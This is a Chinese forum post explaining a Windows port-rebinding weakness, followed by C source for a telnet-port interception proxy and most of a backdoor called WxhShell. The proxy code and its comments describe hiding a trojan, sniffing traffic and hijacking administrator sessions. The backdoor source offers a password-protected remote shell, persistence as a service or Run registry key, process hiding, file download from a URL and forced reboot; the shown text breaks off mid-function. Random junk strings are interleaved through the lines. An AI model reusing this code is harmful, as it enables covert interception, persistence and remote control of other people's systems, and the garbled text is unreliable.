社区应用 最新帖子 精华区 社区服务 会员列表 统计排行 社区论坛任务 迷你宠物
  • 15293阅读
  • 1回复

[讨论]用端口截听实现隐藏嗅探与攻击

级别: 终身会员
发帖
3743
铜板
8
人品值
493
贡献值
9
交易币
0
好评度
3746
信誉值
0
金币
0
所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: 8Vq,J:+  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); x*YJ :t  
gAE}3//  
  saddr.sin_family = AF_INET; k8h$#@^  
Y4i-Pp?  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); "^u|vCqw  
9 Hm!B )Y  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); `0sa94H1[  
W4Eo1 E  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 [P[syi#]t  
t+vn.X+&  
  这意味着什么?意味着可以进行如下的攻击: ~2pctqMA  
 @]A4{  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 HMBxj($eR  
TfJB;  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) r:u5+A  
}ulFW]A^7  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 #fa~^]EM]  
j88H3bi0  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  IH{g-#U  
= uOFaZ4  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 T9u/|OP  
GXsHc,  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 ,cpPXcz?,  
27;*6/>,  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 {+Eq{8m`  
#.) qQ8*(  
  #include Zr`:A$  
  #include [ h%ci3  
  #include ]` 3;8,  
  #include    3EAu#c@q"  
  DWORD WINAPI ClientThread(LPVOID lpParam);   OrHnz981K  
  int main() W<kJ%42^j  
  { mw.9cDf  
  WORD wVersionRequested; 2c}>} A4  
  DWORD ret; H+-9R  
  WSADATA wsaData; ]_j{b)t  
  BOOL val; {V8 v  
  SOCKADDR_IN saddr; 8j8FQ!M  
  SOCKADDR_IN scaddr; DN!:Rm uc  
  int err; .|cQ0:B[  
  SOCKET s; :tNH Cx  
  SOCKET sc; #m|AQr|  
  int caddsize; y~;Kf0~  
  HANDLE mt; 8L.Y0_x  
  DWORD tid;   )mJl-u[0+  
  wVersionRequested = MAKEWORD( 2, 2 ); `2 Vc*R  
  err = WSAStartup( wVersionRequested, &wsaData ); )9J&M6LX  
  if ( err != 0 ) { P)ZGNtO9fG  
  printf("error!WSAStartup failed!\n"); *cJ GrLC  
  return -1; b?qtTce  
  } rs'~' Y  
  saddr.sin_family = AF_INET; ^#p S u  
   <Sb W QbN  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 MHk\y2`/;  
o|(-0mWBQA  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); ^HQg$}=  
  saddr.sin_port = htons(23); Tw);`&Ulo  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) U C3?XoT\  
  { {088j?[hzk  
  printf("error!socket failed!\n"); zuwCN.  
  return -1; C]p3,G,oN  
  } *EvnN:  
  val = TRUE; PJsiT4<  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 bncIxxe  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) :6./yj(  
  { s -~Tf|  
  printf("error!setsockopt failed!\n"); [0w @0?[  
  return -1; 98x]x:mgI_  
  } O-@*xwD  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; /MO|q  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 1nye.i~  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 ZC@sUj"  
2r^|  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) F$N"&<[c  
  { '!I^Lfz-Z  
  ret=GetLastError(); ,nD:W  
  printf("error!bind failed!\n"); CfNHv-jDL  
  return -1; gT 22!  
  } _p"nR  
  listen(s,2); .;8T*  
  while(1) )4vZIU#  
  { 3i/$YX5@  
  caddsize = sizeof(scaddr); ~q 0)+'  
  //接受连接请求 lU`]yL  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); M}kt q)  
  if(sc!=INVALID_SOCKET) mzLDZ# =b  
  { s_}T -%\  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); W2e~!:w  
  if(mt==NULL) X>(?  
  { q90eB6G0g  
  printf("Thread Creat Failed!\n"); 0'{0kE[wn  
  break; jO)UK.H#  
  } u=JI 1  
  } VHGOVH,  
  CloseHandle(mt); l8/ tR  
  } 6r4o47_t8#  
  closesocket(s); :Y`cgi0vkd  
  WSACleanup(); fOs"\Y4  
  return 0; .{%~4$yu7  
  }   TR/'L!EE  
  DWORD WINAPI ClientThread(LPVOID lpParam) (\}>+qS[  
  { gs wp:82e2  
  SOCKET ss = (SOCKET)lpParam; JY8wo5H  
  SOCKET sc; @5+ JXD  
  unsigned char buf[4096]; +`O8cHx  
  SOCKADDR_IN saddr; }YH@T]O}  
  long num; ;$gZ?&  
  DWORD val; b0|q@!z>  
  DWORD ret; RLBjl%Q>  
  //如果是隐藏端口应用的话,可以在此处加一些判断 a<9cj@h  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   `KBgVhS>  
  saddr.sin_family = AF_INET; FjYih>  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); {Bk9]:'$5  
  saddr.sin_port = htons(23); oace!si  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) G66A]FIg  
  { `oQ)qa_  
  printf("error!socket failed!\n"); ,&[2z!  
  return -1; <+ 0cQq=2  
  } q y"VrR  
  val = 100; d1$3~Xl]  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) JbN@AX:%  
  { Bwv@D4bii  
  ret = GetLastError(); QB p`r#{I{  
  return -1; qd\5S*Z1  
  } ip6$Z3[)  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) )f(.{M  
  { l1BbL5#1Q>  
  ret = GetLastError(); )QS4Z{)U  
  return -1; 'ap<]mf2  
  } pMZKF=  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) t}r`~AEa!  
  { -=_bXco}  
  printf("error!socket connect failed!\n"); v_-S#(  
  closesocket(sc); 0IU>KGJ-0s  
  closesocket(ss); |^&n\vXv  
  return -1; `;Qw/xl_N  
  } ? tre)  
  while(1) H}G=%j0  
  { xszGao'  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 h!# (.P  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 V/w:^@5+p  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 90JD`Nz  
  num = recv(ss,buf,4096,0); "JI FF_  
  if(num>0) F\&Sn1>k  
  send(sc,buf,num,0); 01v7_*'R  
  else if(num==0) #sl_ BC9  
  break; -"J6 |Y#8  
  num = recv(sc,buf,4096,0); ;{1J{-EA  
  if(num>0) s|iph~W!L  
  send(ss,buf,num,0); 56 6vjE  
  else if(num==0) w`Q"mx*  
  break; +B^(,qKMN  
  } rGb7p`J  
  closesocket(ss); Ki#({~  
  closesocket(sc); @\-i3EhR  
  return 0 ; 5f+ziiZ  
  } X r7pFw  
hw[jVx  
a[TR_ uR  
========================================================== gucd]VH  
<~aQ_l  
下边附上一个代码,,WXhSHELL G9?6qb:  
en\shc{R]`  
========================================================== Qd~M;L O"i  
?Y6MC:l<  
#include "stdafx.h" =)Z!qjf1U  
D&1*,`  
#include <stdio.h> <^:e)W  
#include <string.h> k+k&}8e  
#include <windows.h> cY/!z  
#include <winsock2.h> ?O1:-vpZ  
#include <winsvc.h> )9_jr(s  
#include <urlmon.h> >z0~!!YZ  
>FtW~J"X  
#pragma comment (lib, "Ws2_32.lib") i!zh9,i>M  
#pragma comment (lib, "urlmon.lib") HnvE\t9`  
(s?`*i:2  
#define MAX_USER   100 // 最大客户端连接数 |7IlYy&:  
#define BUF_SOCK   200 // sock buffer  ESOuDD2<  
#define KEY_BUFF   255 // 输入 buffer jYwv+EXg  
p/V  
#define REBOOT     0   // 重启 '& L;y  
#define SHUTDOWN   1   // 关机 XOl]s?6H$  
x?Wt\<|h!  
#define DEF_PORT   5000 // 监听端口 Sz0M8fYT]  
p'afCX@J  
#define REG_LEN     16   // 注册表键长度 A`4Di8'Me  
#define SVC_LEN     80   // NT服务名长度 JL~QE-pvD  
?f+w:FO  
// 从dll定义API T!6H5>zA  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); \jn[kQ+pJ  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); DbSl}N;  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); o l 67x  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); eqbxf#H!  
$[VeZ-  
// wxhshell配置信息 s{q)m@  
struct WSCFG { E-,74B&H  
  int ws_port;         // 监听端口 hq9b  
  char ws_passstr[REG_LEN]; // 口令 @+",f]  
  int ws_autoins;       // 安装标记, 1=yes 0=no {]ZZ]  
  char ws_regname[REG_LEN]; // 注册表键名 ?{#P.2  
  char ws_svcname[REG_LEN]; // 服务名 Xu#\CYk  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 k4_Fn61J/  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 ie$QKoE  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 OVO0Emv  
int ws_downexe;       // 下载执行标记, 1=yes 0=no <!:,(V>F(C  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" 'l\V{0;mp  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 ]s jFj  
Df;FOTTi%  
}; p#.B Fy  
rtDm<aUh  
// default Wxhshell configuration lj.z>  
struct WSCFG wscfg={DEF_PORT, &0TOJ:RP  
    "xuhuanlingzhe", / /qTMxn  
    1, j'-akXo<  
    "Wxhshell", !U#kUj:4I  
    "Wxhshell", P,!W\N%3  
            "WxhShell Service", 9;Ezm<VQ  
    "Wrsky Windows CmdShell Service", r&"}zyL  
    "Please Input Your Password: ", A <iF37.  
  1, I"3Qdi  
  "http://www.wrsky.com/wxhshell.exe", kgK7 T  
  "Wxhshell.exe" xk86?2b{)  
    }; -$;H_B+.  
yuswWc '  
// 消息定义模块 +IVVsVp  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; }.gDaxj  
char *msg_ws_prompt="\n\r? for help\n\r#>"; N;D (_:^  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; iAf, :g  
char *msg_ws_ext="\n\rExit."; 5@j?7%_8  
char *msg_ws_end="\n\rQuit."; PiI ):B>  
char *msg_ws_boot="\n\rReboot..."; 2U>1-p&dn  
char *msg_ws_poff="\n\rShutdown..."; i>T{s-3v  
char *msg_ws_down="\n\rSave to "; +d\"n  
&X_I^*  
char *msg_ws_err="\n\rErr!"; j]J2,J  
char *msg_ws_ok="\n\rOK!"; ix^:qw;  
{exF" ap  
char ExeFile[MAX_PATH]; dz5bW>  
int nUser = 0; 4'+/R%jk"  
HANDLE handles[MAX_USER]; P>L-,R(7e  
int OsIsNt; /lttJJDU  
=DE5 Wq19  
SERVICE_STATUS       serviceStatus; |Uy hH^  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; RNoS7[&  
'n4zFj+S  
// 函数声明 oX3Q9)  
int Install(void); z^~uq:  
int Uninstall(void); LLgN%!&  
int DownloadFile(char *sURL, SOCKET wsh); ReKnvF~  
int Boot(int flag); 3KB)\nF#%  
void HideProc(void); 3z&,>CEX  
int GetOsVer(void); PKdM-R'Z  
int Wxhshell(SOCKET wsl); k6[t$|lMy  
void TalkWithClient(void *cs); ]t0?,q.$7  
int CmdShell(SOCKET sock); JEY%(UR8  
int StartFromService(void); `mw@"  
int StartWxhshell(LPSTR lpCmdLine); /J{P8=x}_:  
^ 9;s nr  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); q7 Uu 8JXF  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); O|7q,bEm^  
LfOGq%&  
// 数据结构和表定义 56?U4wj7{  
SERVICE_TABLE_ENTRY DispatchTable[] = 5I T'u3V  
{ F\-qXSA  
{wscfg.ws_svcname, NTServiceMain}, ~ D3'-,n[  
{NULL, NULL} J9poqp@`MG  
}; An]*J|nFIY  
* +A!12s@  
// 自我安装 woR((K] #G  
int Install(void) v~uwQ&AH  
{ !S(jT?'w  
  char svExeFile[MAX_PATH]; ,iSs2&$ m  
  HKEY key; _?q\tyf3  
  strcpy(svExeFile,ExeFile); h3@mN\=h'  
 PJk Mn  
// 如果是win9x系统,修改注册表设为自启动 T'Jw\u>"R  
if(!OsIsNt) {  r) X?H  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { \8Blq5n-O*  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); y0(k7D|\  
  RegCloseKey(key); #B+2qD>E  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { u =rY  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); P7u5Ykc*  
  RegCloseKey(key); q%>L/KJ#  
  return 0; !EpP-bq'*  
    } [FyE{NfiJ%  
  } 'Iu$4xo`[  
} dC,F?^  
else { |&RdOjw$u  
?`FI!3j  
// 如果是NT以上系统,安装为系统服务 PjsQ+5[>  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); p(0!TCBs  
if (schSCManager!=0) ^{~y+1lt'  
{ "me J n/  
  SC_HANDLE schService = CreateService \n<N>j@3  
  ( ?c>j^}A/N  
  schSCManager, s BRw#xyS  
  wscfg.ws_svcname, y\x!Be;6Z.  
  wscfg.ws_svcdisp, ;! CQFJ=  
  SERVICE_ALL_ACCESS, 6x[gg !;85  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , "F%cn@l  
  SERVICE_AUTO_START, o"UqI  
  SERVICE_ERROR_NORMAL, zD)2af  
  svExeFile, nH T2M{R  
  NULL, FirmzB Il5  
  NULL, rvr Ok  
  NULL, YToRG7X#  
  NULL, vhhsOga  
  NULL ^'FY!^dE  
  ); s*]1d*B!  
  if (schService!=0) C@Wm+E~;8  
  { &p4q# p7,  
  CloseServiceHandle(schService); iY*Xm,#  
  CloseServiceHandle(schSCManager); gCwg ;c-  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); #Va@4<4r  
  strcat(svExeFile,wscfg.ws_svcname); 4H1s"mP<  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { ,VHvQU  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); U 2\{ ( y  
  RegCloseKey(key); Q) FL|   
  return 0; q)!{oi{x(  
    } _Thc\{aV#  
  } jRq>Sz{8  
  CloseServiceHandle(schSCManager); k92189B9j/  
} KWN&nP +  
} RHB>svT^K>  
.g4bV5ma3  
return 1; ]p#Zdm1EL  
} S!g&&RDx  
d~[ >%&  
// 自我卸载 P7@q vg  
int Uninstall(void) ] >`Q"g~0  
{ ,P9B8oIq  
  HKEY key; @rVmr{UE  
}b,a*4pN  
if(!OsIsNt) { ~8|$KD4I  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { (>)Y0ki}  
  RegDeleteValue(key,wscfg.ws_regname); fT'A{&h|U  
  RegCloseKey(key); #UGbSOoCtn  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 78NAcP~6c  
  RegDeleteValue(key,wscfg.ws_regname); mXa1SZnE   
  RegCloseKey(key); kuUH 2:L  
  return 0; j[Et+V?  
  } =#>P !  
} kW/ksz0)  
} }*0%wP  
else { b!UT<:o  
DpTQPu9  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); 4NbC V)Dm  
if (schSCManager!=0) oM< &4F  
{ a_Xh(d$  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); cLB"<mG  
  if (schService!=0) @c.QrKSaD  
  { vguqk!eo4  
  if(DeleteService(schService)!=0) { &, K;F'  
  CloseServiceHandle(schService); tM !1oWH  
  CloseServiceHandle(schSCManager); @Yt[%tOF+  
  return 0; E7j]"\~i  
  } 'RG`DzuF  
  CloseServiceHandle(schService); eJ?SLMLY  
  } )_f "[m%  
  CloseServiceHandle(schSCManager); Cu9,oU+N  
} 7Qq>?H -  
} v'Lckw@G4  
7e u7ie6  
return 1; \)LY_D:  
} $r_z""eOc  
,"*[T\u  
// 从指定url下载文件 GL (YC-{  
int DownloadFile(char *sURL, SOCKET wsh) ;i,yT ?so  
{ LeO5BmwHR  
  HRESULT hr; " $m3xO  
char seps[]= "/"; G =lC[i  
char *token; o>j3<#?  
char *file; h`jtmhoz  
char myURL[MAX_PATH]; ]l&_Pv!!  
char myFILE[MAX_PATH]; 6IeHZ)jGj  
];(w8l  
strcpy(myURL,sURL); 79S=n,O  
  token=strtok(myURL,seps); tohYwXN  
  while(token!=NULL) n {^D_S  
  { Jd)|== yD  
    file=token; N )&3(A@  
  token=strtok(NULL,seps); 4xg%OH  
  } x/5%a{~j2  
@'~v~3 $S  
GetCurrentDirectory(MAX_PATH,myFILE); <!4'?K-N  
strcat(myFILE, "\\"); C;STJrew  
strcat(myFILE, file); M-0BQs`N  
  send(wsh,myFILE,strlen(myFILE),0); n802!d+Tn  
send(wsh,"...",3,0); ]LNP"vi;  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); G9^!= v@  
  if(hr==S_OK) C3WqUf<8`{  
return 0; 'rU 5VrK  
else Pm V:J9  
return 1; K]Ed-Tz8QZ  
s6!aGZ  
} 5f}wQ  
M(SH3~  
// 系统电源模块 keCM}V`?"  
int Boot(int flag) ~?S/0]?c  
{ m!w(Q+*j  
  HANDLE hToken; /R@eOl}D  
  TOKEN_PRIVILEGES tkp; 'TezUBRAz  
8 w^i  
  if(OsIsNt) { 1j3mTP  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); JtvAi\52$  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); =d&  
    tkp.PrivilegeCount = 1; 0zdH6 &  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; `3\5&Bf  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); I`zn#U'  
if(flag==REBOOT) { -hyY5!rD  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) :J}L| `U9  
  return 0; WXaLKiA*(  
} CGny#Vh  
else { SU Hyg/|F  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) @My-O@C>  
  return 0; eBBqF!WDb  
} k G4v>  
  } dI{)^  
  else { ST] h NM  
if(flag==REBOOT) { D$!(Iae  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) iO>2#p8$NR  
  return 0; F@)wi0  
} ?%{v1(  
else { M&:[3u-  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) MG<F.u  
  return 0; ENr\+{{%  
} MCjf$pZN]  
} ezgP\ct  
e4j:IK>  
return 1; h/mmV:v  
} Zu,rf9LMj  
71Q-_Hi  
// win9x进程隐藏模块 N/4`afiV.  
void HideProc(void) +pkX$yz  
{ PB(mUD2"r  
xi %u)p  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); -M/DOTc  
  if ( hKernel != NULL ) ZQlja  
  { pIXbr($  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); dmgoVF_qR  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); { r yv7G  
    FreeLibrary(hKernel); F\^9=}b_i  
  } 2/<VoK0b  
:* 4b,P  
return; p~J|l$%0rQ  
} u!S^lV@  
2f2Vy:&O_  
// 获取操作系统版本 {ZP0%MD  
int GetOsVer(void) 7O',X Y  
{ outAZy=R;  
  OSVERSIONINFO winfo; P-[6'mw`  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); G~b/!clN  
  GetVersionEx(&winfo); \qj4v^\  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) He @d~9M  
  return 1; b*i_'k}*<g  
  else OHTJQ5%zL  
  return 0; Cak `}J 2  
} 'M8wjU  
<]1Z  
// 客户端句柄模块 $o2H#"  
int Wxhshell(SOCKET wsl) {"k}C2K'r  
{ "jS @ug  
  SOCKET wsh; 4BF \- lq~  
  struct sockaddr_in client; j]Y`L?!Q  
  DWORD myID; }rK9M$2]u  
*L7&P46  
  while(nUser<MAX_USER) jNV)=s^ed[  
{ Z'=:Bo{  
  int nSize=sizeof(client); 4OX|pa  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); %+gK5aVab  
  if(wsh==INVALID_SOCKET) return 1; Cb:}AQ=  
>(T)9fKF  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); &gGh%:`B  
if(handles[nUser]==0) V&e 9?5@  
  closesocket(wsh); re}_+sv U  
else P?WS=w*O0  
  nUser++; GS_+KR\  
  } }[2  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); PqUjBP\  
-]hk2Q0  
  return 0; *BdKQ/Dk  
} K9 G1>*  
yn`P:[v  
// 关闭 socket =Pj+^+UM  
void CloseIt(SOCKET wsh) R"Ff(1m  
{ =o_Ua^mr  
closesocket(wsh); 76 ] X  
nUser--; k{Ad(S4J&  
ExitThread(0); WlJ=X$  
} n VNz5B  
<A~a|A-QFR  
// 客户端请求句柄 9Ub##5$[,  
void TalkWithClient(void *cs) U=ek_FO  
{ _EEOBaZ  
(D5sJ$&E@\  
  SOCKET wsh=(SOCKET)cs; ctk~}( 1#  
  char pwd[SVC_LEN]; v~.nP} E^  
  char cmd[KEY_BUFF]; !vfbgK  
char chr[1]; s^\ *jZ6  
int i,j; GBg~NkC7.  
84U?\f@u  
  while (nUser < MAX_USER) { V vFMpPi  
%noByq,?  
if(wscfg.ws_passstr) { %$Sm ei  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); a]S0|\BkN  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); \>]C  
  //ZeroMemory(pwd,KEY_BUFF); {3LAK[ C  
      i=0; /}kG$ ~  
  while(i<SVC_LEN) { |d)*,O4s  
y&&%%3  
  // 设置超时 % S vfY{  
  fd_set FdRead; Y W9+.Dc`  
  struct timeval TimeOut; '$q=r x  
  FD_ZERO(&FdRead); o)]mJb~XG-  
  FD_SET(wsh,&FdRead); o'?[6B>oj  
  TimeOut.tv_sec=8; h<0&|s*a)  
  TimeOut.tv_usec=0; &02I-lD4+  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); '_~qAx@F#c  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); ]. E/s(p  
V<A$eb>6  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); YZdV0 -S  
  pwd=chr[0]; \8<ZPqt9  
  if(chr[0]==0xd || chr[0]==0xa) { Wc HL:38  
  pwd=0; )q|a Sd  
  break; ]#sF pWI[N  
  } U_KCN09  
  i++; p6c&vEsNj  
    } ZJf:a}=h  
J\l'nqS"  
  // 如果是非法用户,关闭 socket 4K(oOxc9.  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); MXa(Oi2Gg  
} MHqk-4Mz  
IY"+hHt  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); ,_M  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); K6EG"Vv!  
^JM O POm  
while(1) { s1>d)2lX  
7!g"q\s  
  ZeroMemory(cmd,KEY_BUFF); Dq[Z0"8  
N?s`a;Q[=  
      // 自动支持客户端 telnet标准   Zg&o][T  
  j=0; 5V*R  Dh  
  while(j<KEY_BUFF) { =/e$Rp  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); Am@:<J  
  cmd[j]=chr[0]; %?X6TAtH  
  if(chr[0]==0xa || chr[0]==0xd) { x8!uI)#tS  
  cmd[j]=0; BZOB\Ym  
  break; (91 YHhk{  
  } uGpLh0  
  j++; ZJ8"5RW  
    } ><xJQeW  
^AF~k#R  
  // 下载文件 yu}yON  
  if(strstr(cmd,"http://")) { y>>)Yo&|  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); F4]=(T  
  if(DownloadFile(cmd,wsh)) f=A`{ 8^  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); VA5f+c/ %  
  else 8?hZ5QvA(j  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 6~OJB!  
  } 8ly6CP+^B  
  else { ]E $bK  
$It3}?>C'  
    switch(cmd[0]) { 12@Ge]  
  b!<)x}-t>  
  // 帮助 H`s[=Y,m  
  case '?': { w<u@L  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); `=lo.c  
    break; L{0\M`B-  
  } !u;gGgQF  
  // 安装 .I0M'L~!/L  
  case 'i': { 'cqY-64CJZ  
    if(Install()) i9Eh1A3Y  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ; +1ooeU  
    else Z*n4$?%W  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); [!#}#  
    break; t?H sfN  
    } Bbtc[@"X  
  // 卸载 :F_>`{  
  case 'r': { - "EPU]q  
    if(Uninstall()) @&x'.2[nv  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 1)3'Y2N*  
    else RivhEc1h%  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); w"O{@2B3:H  
    break; -jzoGzC3  
    } y;%\ w-.\  
  // 显示 wxhshell 所在路径 YU XxQ|  
  case 'p': { Z<*"sFpAO  
    char svExeFile[MAX_PATH]; >)HKruSW.  
    strcpy(svExeFile,"\n\r"); Nza@6nI"  
      strcat(svExeFile,ExeFile); m/q`k  
        send(wsh,svExeFile,strlen(svExeFile),0); DyCkz"1S  
    break; dsOt(yNo  
    } Jp c %i8  
  // 重启 BSL+Gjj~}  
  case 'b': { ??P %.  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); RXo6y(^  
    if(Boot(REBOOT)) /l+"aKW 2  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); <\$?.tTZ {  
